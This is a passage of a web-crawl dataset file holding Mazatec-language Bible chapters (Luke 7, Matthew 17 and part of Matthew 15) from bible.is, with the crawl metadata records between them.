i̱ na̱xi̱ndá‑ná. 6Kiìko̱ó Jesús jñà xi̱ta̱ jchínga kìi̱, tanga 'kia̱ nga ijye mejèn bijchó chraña ni'ya‑la̱, jè xi̱ta̱ ítjòn ra̱kìi̱, isìkasén i'ka xi̱ta̱ ra nda báko̱, nga kitsò‑la̱ Jesús: ―Na̱'ìn, kì ijo‑li nìjti‑la̱. Mì kì bakèn‑na ra 'a̱n nga ya̱ ki̱tjáha̱'si̱in ni'ya‑na̱. 7Ti̱'koa̱á mì kì bakèn‑na nga 'a̱n íjkon saba‑la. Tanga, 'ti̱ì kjo̱hixi̱ nga katanda‑ni chi̱'nda‑na̱, ko̱ kja̱beé ko̱nda‑ni. 8Nga̱ be‑náa̱ nga tjín‑li kjo̱téxoma ra ji̱; nga̱ ti̱'koa̱á 'a̱n, tjín‑na xi̱ta̱ ra batéxoma‑na; ko̱ ti̱'koa̱á tjín‑na chíchàn ra 'a̱n síhitjasòn‑na. 'Kia̱ nga xin jngo‑la̱: \"'Tin\", fì‑ní; ko̱ 'kia̱ xin‑la̱ ra ìjngo: \"Nchrabí\", nchrabá‑ní; ko̱ 'kia̱ nga xin‑la̱ ra jè chi̱'nda‑na̱: \"Ki̱ 'sín 'ti̱ìn\", síhitjasón‑ní. 9Jesús 'kia̱ nga kií'nchré 'én kìi̱, tà 'koa̱á kjomà‑la̱. 'Kia̱á iskotsíjen'á jñà xi̱ta̱ ra tji̱ngi‑la̱; kitsò‑la̱: ―'Koa̱á xin‑no, skanda ya̱ na̱xi̱ndá Israel kjè kì sakó jngo‑na xi̱ta̱ ra ko̱'sín ta̱ nda makjiín‑la̱ koni 'sín nga makjiín‑la̱ xi̱ta̱ ra̱kìi̱. 10Jñà xi̱ta̱ ra kiìjkon Jesús, 'kia̱ nga 'ji‑ni ya̱ ni'ya, ta̱ 'koa̱ ijyeé kjonda‑ni jè chi̱'nda ra kiya. 11Ra kjomà a̱skan‑nioo̱, Jesús kijí ìjngo na̱xi̱ndá ra 'mì Naín. Tje̱n‑ko̱ xi̱ta̱ ra kotá'yá'ta‑la̱; ti̱'koa̱á kjín ma‑ni ra xi̱ta̱ na̱xi̱ndá tje̱n‑ngi‑la̱. 12'Kia̱ nga ijye ijchò chraña ya̱ ñánda̱ nga bitjàha̱'se̱n‑jin‑ná ya̱ na̱xi̱ndá, kjín jchán ma‑ni xi̱ta̱ na̱xi̱ndá ra kjihijtako̱ jngo ndí chjo̱ón ra ijye kjotseé 'ken 'xi̱n‑la̱, nga i̱nchifì kíhijin ndí mi'ken ti‑la̱ ra ti ta̱ jngo‑la̱ ma chjo̱ón ra̱kìi̱. 13'Kia̱ nga kijtse jè Na̱'ín‑ná Jesucristo, kjòhi̱ma̱ke‑ní; kitsò‑la̱ jè ndí chjo̱ón ra̱kìi̱: ―Kì tà chjàn chindáya‑jìn. 14Kiì kasi'ta chraña‑la̱ jè kàxa̱‑la̱ mi'ken, tsakásòn‑la̱ tsja; jñà xi̱ta̱ ra 'yangi ndí mi'ken, tsinchako̱ó jè kàxa̱. Kitsò Jesús: ―Ji̱ ti, 'a̱án ra tíxin‑la: ¡Ti̱sítji̱in! 15Jè mi'ken ra̱kìi̱, sasa tsikijna kixi̱‑ni; a̱kjòn kiìchja̱‑ni. Jesús, 'kia̱á isìnga̱tsja‑ni na̱‑la̱. 16Nga'tsì xi̱ta̱ ra tje̱n‑ko̱, tà itsakjón‑ní; 'kia̱á jeya isíkíjna Nainá, kitsò: ―Jngo xi̱ta̱ tíjnako̱‑ná ra síchjeén Nainá nga 'ñó nda chja̱ ngajo‑la̱. Ti̱'koa̱á tjín ra kitsò: ―Jé Nainá 'ji nga basìko̱ na̱xi̱ndá‑la̱. 17Jñà 'én kìi̱, ina'yá‑la̱ nga tíjngo ya̱ nangi Judea, ko̱ nga'tsì i̱'nde ra tjín ya̱ a̱ndi‑la̱. 18Jè Juan ra tsatíndá xi̱ta̱ kií'nchré ijye‑ní kjoa̱ ra tí'sín Jesús; jñá xi̱ta̱ ra kotá'yá'ta‑la̱ tsi'kéna̱jmí‑la̱. 'Kia̱á kiìchja̱ jò‑la̱ xi̱ta̱‑la̱. 19Isìkasén ya̱ ñánda̱ tíjna Jesús nga kiì kjonangi‑la̱, ¿a jé‑ní Cristo ra tjínè‑la̱ nga kj'i̱í o̱ ra kj'ií sko̱óña-isa‑la̱? 20Jñà xi̱ta̱‑la̱ Juan ra tsatíndá xi̱ta̱ 'kia̱ nga ijchòjkon Jesús, kitsó‑la̱: ―Jè Juan kàsíkasén‑naji̱n ra a̱'ta tsa̱ji nga chji̱nangi‑laji̱n, ¿a ji̱‑ní ra Cristo ra xá ko̱'sín tjínè‑li nga kj'i̱i o̱ ra kj'ií jchíña-isa‑la̱ji̱n? 21Ti̱jé‑ni hora, kjín jchán xi̱ta̱ ra kiya isinda‑ni Jesús, ra kjo̱hi'in i̱nchisíkjiín, ra inìma̱ 'cho‑la̱ ni̱í tjíjin ijo‑la̱; ti̱'koa̱á kjín xi̱ta̱ ra xka̱ kjonda‑ni. 22Jesús kitsó‑la̱ jñà xi̱ta̱ ra ijchòjkon: ―Tangió 'tèna̱jmí‑la̱ Juan kjoa̱ ra ka'ya ko̱ ra kàna'yá. Ko̱'tìn‑la nga jñà xi̱ta̱ ra xka̱, ijyeé tsijeén‑ila̱; ko̱ jñà ra tsá'yá, ijyeé maá fì‑ni; ko̱ jñà xi̱ta̱ ra tjín‑la̱ 'chin ra fi'ndojno chrja̱ba̱ ijo‑la̱, ijyeé kjondaá‑ni; jñà xi̱ta̱ ra jtaya, ijyeé 'nchré‑ni; ko̱ jñà ra biya, faháya‑ila̱; ko̱ jñà ndí xi̱ta̱ i̱ma̱, tí'sena̱jmíyaá‑la̱ 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Nainá. 23¡Mé ta̱ nda‑la̱ jè xi̱ta̱ ra mí‑mé ko̱techjà‑la̱ nga ko̱kjiín‑la̱ a̱'ta tsa̱'a̱n! 24'Kia̱ nga ijye kijì‑ni xi̱ta̱ ra isìkasén Juan, 'kia̱á tsikí'tsia̱ Jesús nga tsakáko̱na̱jmí jñà xi̱ta̱ ra a̱'ta 'tse̱ Juan. Kitsò‑la̱: ―¿Mé ra tsangì chitsíjen‑la jiòn ya̱ i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì? ¿A jé tsangì chitsíjen‑la jngo xi̱ta̱ ra inda tíjna koni tsa jngo ínaxo̱ ra síjtiya‑la̱ tjo̱? 25Ko̱ tsa majìn, ¿yá ra tsangì chitsíjen‑la? ¿A jngo xi̱ta̱ ra 'ñó nda kjòn nikje ra kjiya? Majìn, nga̱ jñà xi̱ta̱ ra nda kjòn nikje‑la̱, ko̱ ra nda kjòn tsajmì ra síchjeén, ya̱á tjítsa̱jna ya̱ ni'ya‑la̱ xi̱ta̱xá ítjòn. 26¿Tanga mé xá ra tsangì‑najiòn? ¿A jè tsangì chitsíjen‑la jngo xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱? Jon, kixi̱í kjoa̱, jé tsangì chitsíjen‑la̱ ko̱ skanda isa̱á 'nga tíjna‑isa koni jngo xi̱ta̱ ra chja̱ ngajo‑la̱ Nainá. 27A̱'ta 'tse̱é Juan nga ko̱'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: Tísikásén‑la jè xi̱ta̱‑na̱ ra i̱ko̱ títjòn‑li 'én, nga koa̱ànda‑li ndi̱yá. 28'Koa̱á xin‑no, ta nga'tsì jñà xi̱ta̱ ra tjín i̱ i̱sà'nde, kjè sa yá ra ko̱'sín 'nga bijna koni jè Juan; tanga ya̱ a̱jin na̱xi̱ndá ñánda̱ nga tíbatéxoma Nainá, jè xi̱ta̱ ra isa̱ 'ñó nangi tíjna, isa̱á 'nga tíjna india‑ni koni jè Juan. 29'Kia̱ kií'nchré xi̱ta̱ na̱xi̱ndá ko̱ xi̱ta̱ ra síkíchjítjì tsajmì 'tse̱ xi̱ta̱xá Roma, kjòchi̱yaá‑la̱ nga kixi̱í tjín jè ndi̱yá‑la̱ Nainá; nga̱ tsatíndá ijo‑la̱ ra a̱'ta 'tse̱ Juan. 30Tanga ra xi̱ta̱ fariseo ko̱ xi̱ta̱ chji̱ne̱ xa̱jo̱n 'tse̱ kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés, majìn‑la̱ nga jè Juan tsatíndá. Tsachrjengi‑ní kjoa̱ ra Nainá mejèn‑la̱ 'si̱in ra a̱'ta 'tse̱, nga̱ majìn‑la̱ nga jè Juan tsatíndá. 31Jesús kitsó‑la̱: ―¿Yá ra ma si̱ngásòn‑ke̱é jñà xi̱ta̱ ra tjín ni̱chjin 'ndi̱ 'ndi̱? ¿Kó kjòn ra si̱ngásòn‑ke̱é? 32'Koa̱á 'sín kjòn koni jñà i̱xti ra títsa̱jna ya̱ a̱jin ndi̱tsi̱n. Chja̱á‑la̱ xákjén nga tsò‑la̱: \"Ji̱n, inìkjane‑náji̱n ínaxo̱, tanga mì kì ki'chà jiòn; ko̱ kijndaá‑laji̱n 'én ra ba tsò, ko̱ mì ichindáya jiòn.\" Jñà i̱xti kìi̱, 'koa̱á 'sín jngoya‑la̱ koni 'sín 'nià jiòn. 33'Jií Juan ra tsatíndá xi̱ta̱ ra mì tsa tsakjèn ko̱ mì tsa xán ki'tsi; jiòn bixó‑nó: \"Inìma̱ 'cho‑la̱ ni̱í tjíjin ijo‑la̱.\" 34A̱kjòn 'jía̱ ra 'a̱n ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱ nga bákje̱n, ti̱'koa̱á 'bia̱a; ko̱ bixó‑nájiòn: \"Xi̱ta̱ chrjá'a‑ní, ko̱ xi̱ta̱ 'chi̱‑ní, ko̱ jñá nda báko̱ jñà ra xi̱ta̱‑jé ko̱ jñà xi̱ta̱ ra síkíchjítjì tsajmì 'tse̱ xi̱ta̱xá Roma.\" 35Tanga jñà kjoa̱chji̱ne̱‑la̱ Nainá, ya̱á 'ya‑la̱ 'kia̱ nga ijye bitjasòn. 36Jngo xi̱ta̱ fariseo xá kiìchja̱‑ila̱ Jesús nga mejèn‑la̱ ko̱kje̱n‑ko̱. 'Kia̱ nga ijye 'jaha'sen ya̱ ni'ya‑la̱ xi̱ta̱ fariseo, tsikijna'tá ímixa̱. 37Ya̱ na̱xi̱ndá ra̱kìi̱, tíjnaá jngo chjo̱ón ra 'ñó tse jé tjín‑la̱. 'Kia̱ nga kií'nchré nga ya̱á tíbakjèn Jesús, ijchòko̱ó jngo namìta̱ na̱jo̱ ra tjíya‑la̱ sihìti̱ ixi ra 'ñó nda jne̱. 38Ya̱á iskindaya'ta ya̱ a̱jto̱n ndsa̱ko̱ Jesús. A̱kjòn ko̱ó ndáxko̱n tsiníjno‑ni ndsa̱ko̱ Jesús. A̱kjòn isìxìjno‑ni ko̱ tsja̱‑sko̱, ko̱ iskine'a ndsa̱ko̱. A̱kjòn tsjahíjno jè sihìti̱ ixi ra 'ñó nda jne̱. 39Jè xi̱ta̱ fariseo ra xá kiìchja̱‑la̱ Jesús, 'kia̱ kijtse kjoa̱ kìi̱, kitsó a̱jin inìma̱‑la̱: \"Xi̱ta̱ ra̱kìi̱, tsa kixi̱í‑la kjoa̱ nga jè Nainá síchjeén nga chja̱ ngajo‑la̱, ki̱yaá‑la nga chjo̱ón jé‑ní jè ra ko̱'sín tísíko̱.\" 40'Kia̱á kiìchja̱ Jesús, kitsò‑la̱: ―Simón, jngo kjoa̱ ko̱xín‑la. Jè Simón kitsò: ―Ko̱'tín‑ná ji̱ Maestro. 41Jesús kitsó‑la̱: ―Jò ma‑ni xi̱ta̱ tje̱n'tin‑la̱ jè xi̱ta̱ ra síkiña to̱n; jngo ra 'òn sindo̱ ko̱ jngo ra icháte tje̱n‑la̱. 42Tsìn‑la̱ to̱n ra síjndà‑ni xi̱ta̱ kìi̱. Jè ni‑la̱ to̱n, isìhijcha'ta‑la̱ ngajòo̱. ¿Kósii̱? ¿Ñáa̱‑ni ra isa̱ 'ñó ko̱tsjake jè ni‑la̱ to̱n? 43Kiìchja̱á Simón kitsò: ―'Koa̱á 'sín síkítsjee̱n ra 'a̱n, jé‑la jè ra isa̱ tse to̱n kitsjen'tin. 'Kia̱á kitsò Jesús: ―Ndaá kachosòn‑la̱. 44Jesús iskotsíjen‑jno jè chjo̱ón ra kìi̱, kitsò‑la̱ Simón: ―Chítsijen‑la̱ jè chjo̱ón ra̱kìi̱. 'Kia̱ nga káfáha̱'se̱n ya̱ ni'ya‑li; mì kì kà'bí‑ná nandá ra ma si̱níjno‑ni ndsa̱koàa̱; tanga chjo̱ón ra̱kìi̱, ndáxko̱ón kabiníjno‑ni ndsa̱koàa̱ ko̱ tsja̱ sko̱ó kásíxìjno‑ni. 45'Kia̱ nga kàníkjáya‑ná mì kì kachine'a‑ná ra ji̱, tanga chjo̱ón ra̱kìi̱, nda 'kia̱ káfáha̱'se̱n ni'ya‑li tíkjine'aá ndsa̱koàa̱. 46'Mì kì kànahíjni̱ sihìti̱ jè skoàa̱, tanga ra jè, kàmahíjno ndsa̱koàa̱ sihìti̱ ixi ra 'ñó nda jne̱. 47Kií ko̱ xin‑la: Jè chjo̱ón ra̱kìi̱, ijyeé kànìhijchaà'ta ijye‑la̱ nga'tsì jé‑la̱ tà nga̱tjì‑la̱ nga 'ñó matsjake‑na. Jè xi̱ta̱ ra chiba jé niìjchaà'ta‑la̱, isa̱á chiba kjo̱tsjacha tsjá. 48'Kia̱á kitsò‑la̱ Jesús jè chjo̱ón ra̱kìi̱: ―Ijyeé kànìhijchaà'ta ijye‑li jé‑li. 49Jñà xi̱ta̱ ra ta̱ña tjítsa̱jna'ta ímixa̱ kitsó‑la̱ xákjén: ―¿Yá xi̱ta̱‑ni ra̱kìi̱ nga ti̱'koa̱ ma‑la̱ síjchaà'tá‑ná jé‑ná? 50Jesús kitsò india‑la̱ jè chjo̱ón: ―Ki‑ní nga makjiín‑li ra a̱'ta tsa̱'a̱n nga bítjo̱jin‑ni jé‑li; 'tin‑la nda‑ni.\nSan Lucas 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/7","date":"2013-12-12T16:48:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164646459\/warc\/CC-MAIN-20131204134406-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":1282,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nga komà joòn na̱chrjein Jesús kiìmijìn‑jno jngoò nindoò xi 'nga kji; kiìko̱ jè Pedro, Jacobo, ko̱ Juan xi 'ndse̱ ma Jacobo. 2K'e̱ nga ijchò i̱'nde jè, Jesús, jahatjìya í'ñó i̱sén‑la̱ nga nguixko̱n jñà xi̱ta̱ koi. K'oa̱á kji komà i̱sén‑la̱ koni kji ts'oí ko̱ jè nikje‑la̱ kjòchroba‑né koni i̱sén ndobá. 3Jñà xi̱ta̱ koi tà ni̱to̱ón kijtseè Moisés ko̱ Elías nga nchijoókjoò Jesús. 4Pedro kitsò‑la̱ Jesús: ―Na̱'èn, ndaà tjín nga i̱ titsa̱jnaá; tsà mejèn‑lè jàn ni'ya xkójndà kíndaà‑je̱n, jngoò tsi̱ji, jngoò ts'e̱ Moisés ko̱ xi ìjngoò ts'e̱ Elías. 5K'e̱ nga tíchja̱ Pedro, j'iì jngoò 'nguién‑la̱ ifi xi ote kji xi tsibí'ma xi̱ta̱ koi, ko̱ ya̱ i̱jiìn ifi kina'yà jngoò‑la̱ 'én xi kitsò: ―Jè jèe̱ xi ki'ndí‑na̱ xi 'ñó matsjake̱ ko̱ xi xó jaàjiìn‑na̱; jè ti̱ná'ya‑là. 6Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús k'e̱ nga kiì'nchré, tà kitsakjòn‑né. K'e̱é tsoyijò tsakjàn skanda i̱t'aà nangui. 7Jesús kiìkasìt'aà chrañà‑la̱; kisìkjaníyá‑la̱, kitsò‑la̱: ―Ti̱sítje̱en, kì tsakjón‑jèn. 8K'e̱ nga kiskoòtsejèn xi̱ta̱ koi mì ti̱ yá tjín‑ne. Tà jè ta̱jngoò síjna Jesús. 9K'e̱ nga inchrohòjen‑t'aà‑ne nindoò, Jesús kitsò‑la̱: ―Kì yá xi̱ta̱ xi bèno̱jmí‑là jè kjoa̱ xi kà'yaà skanda k'e̱ nga kjoa̱áya‑na i̱t'aà ts'e̱ kjoa̱biyaà 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱. 10Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Mé‑ne ko̱tsò‑ne xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés nga jè Elías kjoi̱í ítjòn? 11Jesús kitsò: ―O̱kixi̱‑né, jè kjoi̱í ítjòn Elías, ko̱ jè koi̱ìndaàjiìn yije kjoa̱. 12Ta̱nga 'a̱n, k'oa̱á xán‑nò, jè Elías, jyeé j'iì. Jñà xi̱ta̱, mìkiì kijtseèxkon. Ta k'oa̱á s'ín kisìko̱ koni s'ín mejèn‑la̱. K'oa̱á ti̱s'ín ko̱mat'ian 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱; tseé kjo̱'in tsjá‑na jñà xi̱ta̱. 13Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús k'e̱é kjòchi̱ya‑la̱ nga jè Jesús, k'e̱ nga tíchja̱ i̱t'aà ts'e̱ Elías, jè Juan xi kis'iìn bautizar xi̱ta̱ xi o̱tsò‑la̱. 14K'e̱ nga ijchò Jesús ñánda títsa̱jna xi̱ta̱ xi kjìn ma‑ne, jngoò xi̱ta̱ ijchò kasìt'aà‑la̱ nga tsasìxkó'nchit'aà‑la̱, kitsò‑la̱: 15―Na̱'èn, chahi̱ma̱i ki'ndí‑na̱. Ch'in biyaàxín tjín‑la̱. 'Ñó tse kjo̱'in síkjeiín. Jyeé kòkjìn k'a kaàjiìn ni'ín ko̱ nandá. 16I̱í kòf'iìko̱‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑lè, ta̱nga mìkiì mandaà‑la̱. 17Jesús kitsò: ―Jñò xi̱ta̱ xi mìkiì mokjeiín‑nò i̱t'aà ts'a̱n xi ch'o 'nè. ¿Skanda mé na̱chrjein kóti̱jnako̱‑nò? ¿Skanda mé na̱chrjein ska̱‑na kjoa̱‑nò? Nchrohóko̱‑ná jè ti i̱jndé. 18Jesús tsohótiko̱ jè ini̱ma̱ ch'o‑la̱ nei̱í koa̱ itjokàjiìn‑ne yijo‑la̱ jè ti. Ti̱jè‑ne hora, ni̱to̱ón kjòndaà‑ne. 19Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kiskònanguit'aàxìn‑la̱. Kitsò‑la̱: ―¿Mé‑ne ngaje̱n mìkiì kòbitjojiìn‑na̱je̱n jè ini̱ma̱ ch'o‑la̱ nei̱í? 20Jesús kitsò‑la̱: ―Mìkiì komà‑nò koi‑né nga tà chiba mokjeiín‑nò i̱t'aà ts'a̱n. O̱kixi̱í xi xan‑nò tsà ta o̱kji ko̱kjeiín‑nò koni kji xojmá mostaza nga i̱tsé kji, ko̱ma k'oín‑là nindoò: \"Ti̱xín i̱jndé. T'in ján xijngoaà ñánda i̱t'aà xìn.\" Koa̱ jè nindoò ko̱si̱t'aàxìn‑né. Jñò, ni̱mé kjoa̱ xi 'in ko̱ma‑nò tsà ndaà ko̱kjeiín‑nò. 21Jñà ini̱ma̱ ch'o‑la̱ nei̱í xi o̱kjoàn, k'e̱é bitjokàjiìn nga nokjoàt'aà‑là Nainá ko̱ nga bijnachjaán. 22K'e̱ nga ta̱ña ki̱tje̱n nga tjíma ya̱ i̱'nde Galilea, Jesús kitsò‑la̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱: ―'A̱n, xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, ya̱á tso̱ba̱'ñó‑na jñà xi̱ta̱, 23i̱kjoàn si̱ìk'en‑na. Ta̱nga k'e̱ nga ki̱jchò jàn na̱chrjein nga ki̱yá, kjoa̱áya‑na. Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ k'e̱ nga kiì'nchré 'én koi ta̱ ba ko̱ma‑la̱. 24K'e̱ nga ijchò Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ ján na̱xa̱ndá Capernaum, jñà xi̱ta̱ xi bíxkó to̱n ts'e̱ i̱ngo̱ ítjòn kiskònangui‑la̱ Pedro kitsò‑la̱: ―Jè Maestro‑lè, ¿a mìkiì bíchjí to̱n ts'e̱ i̱ngo̱? 25Jè Pedro kitsò: ―Jon, bíchjí‑né. K'e̱ nga jahas'en ni'ya Pedro, Jesús, jè kiìchja̱ ítjòn‑la̱, kitsò‑la̱: ―¿Kó si Simón, jè xi̱ta̱xá ítjòn xi i̱ i̱sò'nde ts'e̱, yá‑né xi síkíchjítjì tsojmì ko̱ to̱n‑sá? ¿A jñà‑né xi i̱ na̱xa̱ndá‑la̱, o xi jñá‑né xi xìn i̱'nde‑la̱? 26Pedro kitsò: ―Jñà xi xìn i̱'nde‑la̱ xi bíchjí. K'e̱é kitsò‑la̱ Jesús: ―Jñà xi i̱ na̱xa̱ndá‑la̱ ni̱mé koi̱ìchjí. 27Ta̱nga mé‑ne nga mì ch'o ki̱tso̱‑ná jñà xi̱ta̱, t'in ján i̱ndiì ndáchikon. Ti̱katje̱n‑jiìn ki̱cha̱ libá‑lè xi tsobà'ñó ti̱n, koa̱ jè ti̱n xi chjoé ítjoìn, chíx'ei̱ì tso'ba; ya̱ tjí'a jngoò to̱n. Ko̱maá‑ne nga kíchjí xi ts'a̱n ko̱ tsi̱ji. Tikoi̱i, tíchjí‑la̱.\nSan Mateo 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/17","date":"2013-12-13T17:30:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164965557\/warc\/CC-MAIN-20131204134925-00047-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000073909759521}","num_words":619,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ijchò kincha'ta chrañaá i'ka‑la̱ Jesús jñà xi̱ta̱ fariseo ko̱ jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés ra ya̱ inchrabà‑ni ya̱ na̱xi̱ndá Jerusalén nga iskonangi‑la̱, kitsò‑la̱: 2―¿Mé‑ni 'kia̱ nga bakjèn‑ni xi̱ta̱ ra kotá'yá'ta‑li, mì kì biníjno tsja koni 'sín tíchja̱ kjo̱téxoma‑la̱ xi̱ta̱ jchínga‑ná? 3Jesús 'kia̱á kiìchja̱ nga kitsò‑la̱: ―¿Mé‑ni ti̱'koa̱ nachrjengi‑najiòn jè kjo̱téxoma‑la̱ Nainá nga jè mangítji̱ngi‑la koni 'sín tjín kjo̱téxoma‑la̱ xi̱ta̱ jchínga‑no? 4Nga̱ jè Nainá, 'koa̱á 'sín kitsjà kjo̱téxoma nga kitsò: \"Jcha̱xkín jè na̱'ìn‑li ko̱ jè na̱‑li\", ti̱'koa̱á kitsò: \"Jè ra ki̱chja̱jno‑la̱ jè na̱'ìn‑la̱ ko̱ jè na̱‑la̱, tjínè‑la̱ nga ki̱yá.\" 5Tanga ra jiòn ki̱í'sín bixó: \"Jngo xi̱ta̱, maá ki̱tso̱‑la̱ jè na̱'ìn‑la̱ ko̱ tsa jè na̱‑la̱: mì kì ma kósi̱ko̱‑la, nga̱ nga'tsì tsajmì ra tjín‑na, jè Nainá ijyeé kítsja‑la̱.\" 6Ko̱ 'koa̱á 'sín bixó jiòn nga nga'tsì ra ijye ko̱'sín ko̱ki̱tso̱, mì kì ti̱ tjí'nde‑la̱ nga ko̱si̱ko̱ jè na̱'ìn‑la̱ ko̱ tsa jè na̱‑la̱. 'Koa̱á 'sín 'nià jiòn nga nachrjengio jè kjo̱téxoma‑la̱ Nainá ko̱ jé mangítji̱ngi‑la kjo̱téxoma 'tse̱ xi̱ta̱ jchínga‑no. 7Jiòn xi̱ta̱ ra jò i̱sén tjín‑no, ndaá kiìchja̱ ra a̱'ta tsa̱jiòn jè ra tsi'kìn Isaías, jè xi̱ta̱ ra isìchjeén Nainá kjotseé nga kiìchja̱ ngajo‑la̱, 'kia̱ nga kitsò: 8Jñà xi̱ta̱ kìi̱, 'kia̱ nga ko̱tsò nga 'a̱án bexkón‑na, tà 'én ra ko̱tsò‑la̱, tanga jñà inìma̱‑la̱ kjiín síkítsa̱jna‑ni. 9Ni̱mé chjí‑la̱ koni 'sín bexkón‑na, nga̱ 'koa̱á 'sín bakón‑ya kjo̱téxoma‑la̱ xi̱ta̱ koni tsa 'tse̱ Nainá. 10'Kia̱á kiìchja̱‑la̱ jñà xi̱ta̱ ra kjìn ma‑nioo̱, kitsò‑la̱: ―Ti̱ná'ya ko̱ nda katachi̱ya‑no. 11Mì tsa jñà ra 'faha'sen ya̱ tsa'ba xi̱ta̱ ra síkitsón; jñá‑ní ra bitjo‑ni ya̱ tsa'ba xi̱ta̱ ra síkitsón ya̱ ngixko̱n Nainá. 12Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ijchò kincha'tá‑la̱ nga kitsò‑la̱: ―¿A 'ya‑ní nga jñà xi̱ta̱ fariseo, 'choó kàma‑la̱ 'kia̱ nga ká'nchré koni 'sín nga kasii̱? 13Tanga jè Jesús kitsó‑ní: ―Nga'tsì jñà yá ra xá sitje̱‑ni ra mì tsa jè tsikítje̱ Na̱'ìn‑na̱ ra tíjna ngajmi, ngi ko̱ó kja̱ma̱‑la̱ nga tjánè. 14Kì tà chjàn kó 'mì‑la xi̱ta̱ kìi̱; xi̱ta̱ xka̱‑ní ko̱ jñá kjen‑la̱ ndi̱yá jñà xi̱ta̱ ra i'ka ra ti̱'koa̱ xka̱‑te. Tsa jngo xi̱ta̱ ra xka̱, skén‑la̱ ndi̱yá jè xi̱ta̱ ra ti̱'koa̱ xka̱‑te, ta jngoó nga̱jo̱ ska̱tsaya ngajò. 15Jè Pedro kitsó‑la̱ Jesús: ―'Tèna̱jmíya‑náji̱n kótsò‑ni a̱'ta 'tse̱ kjoa̱ ra ka'bena̱jmíi̱. 16Jesús kitsó‑la̱: ―¿A ti̱'koa̱á takó kjeé nda machi̱ya‑no? 17¿A mí fìya‑najiòn nga nga'tsì ra 'faha'sen ya̱ ndsa̱'bé, ya̱á bijchókaya ya̱ a̱ya i̱ndsi̱'bé, a̱kjòn mahí ki̱tsa̱jna‑né? 18Tanga nga'tsì 'én ra ndsa̱'bé bitjo‑ni ya̱á nchrabájin‑ni ya̱ a̱jin inìma̱‑ná, ko̱ jñá 'én kiòo̱ ra síkitsón xi̱ta̱ ya̱ ngixko̱n Nainá. 19Nga̱ ya̱á nchrabájin‑ni ya̱ inìma̱‑la̱ xi̱ta̱ nga'tsì kjo̱bítsjen ra 'cho tsò ko̱ 'kia̱ nga sí'ken xi̱ta̱ xákjén, ko̱ 'kia̱ nga kjoa̱chijngi 'sín, ko̱ ra kjoa̱chijé, ko̱ ra kjoa̱ndiso ko̱ nga chja̱jno‑la̱ xákjén. 20Jñá nga'tsì kjoa̱ kìi̱ ra ya̱ nchrabájin‑ni ya̱ inìma̱‑la̱ xi̱ta̱, ra síkitsón; tanga ni̱'sín mì kì biníjneé ndse̱é 'kia̱ nga bichieé mì kì tsa síkitsón‑ná. 21Jesús itjokàjiín ya̱ i̱'nde ra̱kìi̱, ya̱á kijì ya̱ nangi ra chja̱‑ni Tiro ko̱ Sidón. 22Jngo chjo̱ón ra ya̱ Caná i̱'nde‑la̱ ya̱á tíjna ya̱ i̱'nde ra̱kìi̱; ijchò kasi'tá‑la̱ Jesús, 'ñó kiìchja̱ nga kitsò‑la̱: ―Na̱'ìn, ra ya̱ nchrabá‑ni a̱'ta 'tse̱ tje̱‑la̱ xi̱ta̱xá ítjòn ra tsi'kìn David, jcha̱hi̱ma̱takón‑ná. Jè ndí tsati‑na̱ inìma̱ 'cho‑la̱ ni̱í tíjnajin ya̱ inìma̱‑la̱, ko̱ tseé kjo̱hi'in tísíkjiín. 23Tanga jè Jesús mì kì isìsin‑la̱. Ko̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ tsincha'ta chraña‑la̱ Jesús, kitsò‑la̱: ―Ko̱'tìn‑la̱ jè chjo̱ón ra̱kìi̱ katafì‑nì, sí sií kjindáya tji̱ngi‑ná. 24'Kia̱á kitsò Jesús: ―Ta kií xá 'jíi̱‑na ra 'a̱n nga jñà 'jíi̱tji̱ngi‑la̱ jñà xi̱ta̱ Israel ra ichijà koni 'sín chija jñà forrè. 25Tanga jè chjo̱ón kiì kasi'ta chrañaá‑la̱, tsasèn-xkó'nchi'tá‑la̱, kitsò‑la̱: ―Na̱'ìn, 